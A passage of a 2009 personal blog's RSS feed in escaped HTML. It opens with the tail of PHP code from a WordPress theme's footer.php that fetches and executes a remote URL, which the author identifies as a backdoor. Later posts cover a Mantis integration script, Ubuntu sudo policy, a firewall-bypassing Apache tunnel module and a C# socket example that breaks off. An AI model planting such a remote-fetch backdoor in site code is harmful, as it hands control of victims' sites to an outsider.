#000088;&quot;&gt;$CodeURL&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; curl_setopt&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$ch&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; CURLOPT_HEADER&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; curl_exec&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$ch&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; curl_close&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000088;&quot;&gt;$ch&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160;&lt;/div&gt;&lt;br /&gt;
Yep. It definitely looks like a backdoor.&lt;br /&gt;
&lt;br /&gt;
It seems that you can never be too much careful...&lt;br /&gt;
&lt;br /&gt;
(it seems like the first version I&#039;ve download is different than the one on the site mentioned above, although there&#039;s still something evil in footer.php) 
    </content:encoded>

    <pubDate>Tue, 26 May 2009 19:55:15 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/82-guid.html</guid>
    <category>backdoor</category>
<category>php</category>
<category>security</category>
<category>software</category>
<category>wordpress</category>

</item>
<item>
    <title>FeedbackReporter and Mantis integration</title>
    <link>http://www.tellini.info/blog/archives/81-FeedbackReporter-and-Mantis-integration.html</link>
            <category>Software Development</category>
    
    <comments>http://www.tellini.info/blog/archives/81-FeedbackReporter-and-Mantis-integration.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=81</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=81</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    I&#039;ve just written a small script to store reports generated by &lt;a href=&quot;http://vafer.org/projects/feedbackreporter/&quot; title=&quot;FeedbackReporter&quot;&gt;FeedbackReporter&lt;/a&gt; on a &lt;a href=&quot;http://www.mantisbt.org/&quot; title=&quot;Mantis Bug Tracker&quot;&gt;Mantis&lt;/a&gt; system.&lt;br /&gt;
&lt;br /&gt;
It should come handy to keep track of your application crashes (crash? uh? My apps never crash! &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;)&lt;br /&gt;
&lt;br /&gt;
You can download it &lt;a href=&quot;http://files.tellini.info/FRToMantis.zip&quot; title=&quot;FeedbackReporter to Mantis&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Simply extract it on your webserver and edit &lt;strong&gt;config.php&lt;/strong&gt; to adjust your settings.&lt;br /&gt;
&lt;br /&gt;
It can work in two ways: if you&#039;re installing it on the same server running mantis, set &lt;strong&gt;MANTIS_LOCAL&lt;/strong&gt; to true and &lt;strong&gt;MANTIS_PATH&lt;/strong&gt; to the root of your mantis installation.&lt;br /&gt;
&lt;br /&gt;
Otherwise, you can even install it on a different server and let it communicate with your mantis via SOAP. In order to do this, set &lt;strong&gt;MANTIS_LOCAL&lt;/strong&gt; to false and edit &lt;strong&gt;MANTIS_URL&lt;/strong&gt;. This setup needs the SOAP extension of PHP5, so make sure it&#039;s available.&lt;br /&gt;
&lt;br /&gt;
Feedback is welcome, of course. 
    </content:encoded>

    <pubDate>Sat, 02 May 2009 14:23:30 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/81-guid.html</guid>
    <category>mac os x</category>
<category>mantis</category>
<category>software development</category>

</item>
<item>
    <title>Perplexed about Ubuntu's sudoers configuration</title>
    <link>http://www.tellini.info/blog/archives/80-Perplexed-about-Ubuntus-sudoers-configuration.html</link>
            <category>SysAdmin</category>
    
    <comments>http://www.tellini.info/blog/archives/80-Perplexed-about-Ubuntus-sudoers-configuration.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=80</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=80</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    Recently I&#039;ve been administering my first Ubuntu machine and I already feel a bit perplexed about its security setup.&lt;br /&gt;
&lt;br /&gt;
The issue is that by default, the root account password is locked in Ubuntu and you are encouraged never to use root, but rely on sudoers for system administration.&lt;br /&gt;
&lt;br /&gt;
I&#039;ve read the rationale on &lt;a href=&quot;https://help.ubuntu.com/community/RootSudo&quot;&gt;Ubuntu&#039;s wiki&lt;/a&gt; and I agree on some points, but their mindset is totally biased towards a desktop setup.&lt;br /&gt;
&lt;br /&gt;
Let&#039;s consider these points from their site:&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
   &lt;li&gt; &lt;blockquote&gt;&lt;em&gt;Benefits of using sudo: Users don&#039;t have to remember an extra password.&lt;/em&gt;&lt;/blockquote&gt;  This is cool for Average Joe, but don&#039;t tell me that it&#039;s an advantage on a serious server: it&#039;s actually a downside, see the next point.&lt;br /&gt;
   &lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
   &lt;li&gt;&lt;blockquote&gt;&lt;em&gt;Every cracker trying to brute-force their way into your box will know it has an account named root and will try that first. What they don&#039;t know is what the usernames of your other users are. Since the root account password is locked, this attack becomes essentially meaningless, since there is no password to crack or guess in the first place.&lt;/em&gt;&lt;/blockquote&gt;&lt;br /&gt;
       Sure, the attack on root becomes useless, too bad that &lt;a href=&quot;http://arstechnica.com/security/news/2008/05/strong-passwords-no-panacea-as-ssh-brute-force-attacks-rise.ars&quot;&gt;SSH brute-force attacks&lt;/a&gt; usually try &lt;strong&gt;lots&lt;/strong&gt; of different usernames. If the manage to break a single account of a sudoer, they automatically have control of your machine. If you had to remember a different password to &lt;a href=&quot;http://en.wikipedia.org/wiki/Su_(Unix)&quot;&gt;su&lt;/a&gt; your way, it would make their life a bit harder.&lt;br /&gt;
   &lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
   &lt;li&gt;&lt;blockquote&gt;&lt;em&gt;Allows easy transfer for admin rights, in a short term or long term period, by adding and removing users from groups, while not compromising the root account.&lt;/em&gt;&lt;/blockquote&gt;&lt;br /&gt;
       err... what does &quot;not compromising the root account&quot; actually mean? If I get admin rights, I can do whatever I want, including compromising any account. Unless I get authorisation just to run a limited set of commands through sudo, but that&#039;s not the point of this post.&lt;br /&gt;
   &lt;/li&gt;&lt;br /&gt;
&lt;br /&gt;
   &lt;li&gt;&lt;blockquote&gt;&lt;em&gt;The root account password does not need to be shared with everybody who needs to perform some type of administrative task(s) on the system.&lt;/em&gt;&lt;/blockquote&gt;&lt;br /&gt;
      ok, but what problem does it solve? (apart from avoiding people shouting the root password when they shouldn&#039;t &lt;img src=&quot;http://www.tellini.info/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;)&lt;br /&gt;
&lt;br /&gt;
If I want to remove a person from the admin group, I need to trust her not to have planted any malicious program (rootkits, backdoors...) or rebuild the system if I&#039;m paranoid, if I really want to be on the safe and paranoid side.&lt;br /&gt;
&lt;br /&gt;
IMHO, it&#039;s just the same as changing the root password when one is gone, or even better, periodically.&lt;br /&gt;
   &lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
I&#039;m not convinced. I still prefer the common su approach typical of almost all the other distributions... 
    </content:encoded>

    <pubDate>Wed, 29 Apr 2009 13:47:47 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/80-guid.html</guid>
    <category>security</category>
<category>ssh</category>
<category>su</category>
<category>sudo</category>
<category>sysadmin</category>
<category>ubuntu</category>

</item>
<item>
    <title>mod_tunnel for Apache 2.2.x</title>
    <link>http://www.tellini.info/blog/archives/79-mod_tunnel-for-Apache-2.2.x.html</link>
            <category>Software</category>
            <category>SysAdmin</category>
    
    <comments>http://www.tellini.info/blog/archives/79-mod_tunnel-for-Apache-2.2.x.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=79</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=79</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    mod_tunnel is a simple Apache module that can be used to create TCP tunnels using your Web server. It is useful to expose services which can be reached through a proxy, bypassing firewalls.&lt;br /&gt;
&lt;br /&gt;
After &lt;em&gt;only&lt;/em&gt; 4 years since the previous version, you can now download version 2.0 which works with Apache 2.2.x (and maybe 2.0.x, but I haven&#039;t tested it).&lt;br /&gt;
&lt;br /&gt;
You&#039;ll find it on &lt;a href=&quot;https://sourceforge.net/projects/mod-tunnel/&quot; title=&quot;mod_tunnel on sourceforge.net&quot;&gt;sourceforge&lt;/a&gt;. 
    </content:encoded>

    <pubDate>Sun, 12 Apr 2009 17:52:07 -0700</pubDate>
    <guid isPermaLink="false">http://www.tellini.info/blog/archives/79-guid.html</guid>
    <category>apache</category>
<category>firewall</category>
<category>networking</category>
<category>proxy</category>
<category>software</category>
<category>sysadmin</category>
<category>tunnel</category>

</item>
<item>
    <title>Connection without a listening socket?</title>
    <link>http://www.tellini.info/blog/archives/78-Connection-without-a-listening-socket.html</link>
            <category>Software Development</category>
    
    <comments>http://www.tellini.info/blog/archives/78-Connection-without-a-listening-socket.html#comments</comments>
    <wfw:comment>http://www.tellini.info/blog/wfwcomment.php?cid=78</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.tellini.info/blog/rss.php?version=2.0&amp;type=comments&amp;cid=78</wfw:commentRss>
    

    <author>nospam@example.com (Simone)</author>
    <content:encoded>
    I&#039;ve encountered a network problem that left me a bit puzzled.&lt;br /&gt;
&lt;br /&gt;
Usually, when you want to setup a TCP connection between two sockets (let&#039;s called them S1 and S2), you need to perform these steps on the server:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
 &lt;li&gt; create S1&lt;/li&gt;&lt;br /&gt;
 &lt;li&gt; bind S1 to a port (or to a port/address, if you need to)&lt;/li&gt;&lt;br /&gt;
 &lt;li&gt; set S1 to listen for connections&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
on the client:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;br /&gt;
 &lt;li&gt; create S2&lt;/li&gt;&lt;br /&gt;
 &lt;li&gt; tell S2 to connect to S1 &lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
and finally, the server receives the connection attempt and accepts it to remove it from the backlog of the listening socket.&lt;br /&gt;
&lt;br /&gt;
Well, apparently there&#039;s another way, which I suspect few know about.&lt;br /&gt;
&lt;br /&gt;
Check out this simple application:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;csharp geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #0600FF;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #008080;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #0600FF;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #008080;&quot;&gt;System.Net&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #0600FF;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #008080;&quot;&gt;System.Net.Sockets&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #0600FF;&quot;&gt;using&lt;/span&gt; &lt;span style=&quot;color: #008080;&quot;&gt;System.Threading&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #0600FF;&quot;&gt;namespace&lt;/span&gt; SocketTest&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #FF0000;&quot;&gt;class&lt;/span&gt; Program&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #0600FF;&quot;&gt;static&lt;/span&gt; IPEndPoint &amp;#160; &amp;#160; &amp;#160; a &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; IPEndPoint&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; IPAddress.&lt;span style=&quot;color: #0000FF;&quot;&gt;Loopback&lt;/span&gt;, &lt;span style=&quot;color: #FF0000;&quot;&gt;18000&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;private&lt;/span&gt; &lt;span style=&quot;color: #0600FF;&quot;&gt;static&lt;/span&gt; IPEndPoint &amp;#160; &amp;#160; &amp;#160; b &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; IPEndPoint&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; IPAddress.&lt;span style=&quot;color: #0000FF;&quot;&gt;Loopback&lt;/span&gt;, &lt;span style=&quot;color: #FF0000;&quot;&gt;18001&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #0600FF;&quot;&gt;void&lt;/span&gt; Main&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #FF0000;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#93;&lt;/span&gt; args&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Thread&amp;#160; threadA &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; Thread&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; ThreadA &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Thread&amp;#160; threadB &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; Thread&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; ThreadB &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; threadB.&lt;span style=&quot;color: #0000FF;&quot;&gt;Start&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; threadA.&lt;span style=&quot;color: #0000FF;&quot;&gt;Start&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #0600FF;&quot;&gt;void&lt;/span&gt; ThreadA&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Socket sock &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; Socket&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; a.&lt;span style=&quot;color: #0000FF;&quot;&gt;AddressFamily&lt;/span&gt;, SocketType.&lt;span style=&quot;color: #0000FF;&quot;&gt;Stream&lt;/span&gt;, ProtocolType.&lt;span style=&quot;color: #0000FF;&quot;&gt;Tcp&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; sock.&lt;span style=&quot;color: #0000FF;&quot;&gt;Bind&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; b &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; sock.&lt;span style=&quot;color: #0000FF;&quot;&gt;Connect&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; a &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Console.&lt;span style=&quot;color: #0000FF;&quot;&gt;WriteLine&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;&amp;quot;Connected from &amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; b &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;&amp;quot; to &amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008000;&quot;&gt;+&lt;/span&gt; a &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Thread.&lt;span style=&quot;color: #0000FF;&quot;&gt;Sleep&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; Timeout.&lt;span style=&quot;color: #0000FF;&quot;&gt;Infinite&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #0600FF;&quot;&gt;void&lt;/span&gt; ThreadB&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008000;&quot;&gt;;;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #0600FF;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Socket sock &lt;span style=&quot;color: #008000;&quot;&gt;=&lt;/span&gt; &lt;a href=&quot;http://www.google.com/search?q=new+msdn.microsoft.com&quot;&gt;&lt;span style=&quot;color: #008000;&quot;&gt;new&lt;/span&gt;&lt;/a&gt; Socket&lt;span style=&quot;color: #000000;&quot;&gt;&amp;#40;&lt;/span&gt; b.&lt;span style=&quot;color: #0000FF;&quot;&gt;AddressFamily&lt;/span&gt;, SocketType.&lt;span style=&quot;color: #0000FF;&quot;&gt;Stream&lt;/span&gt;, ProtocolType.&lt;span style=&quot;color: #0000FF;&quot;&gt;Tcp&lt;/span&gt; &lt;span style=&quot;color: #000000;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: 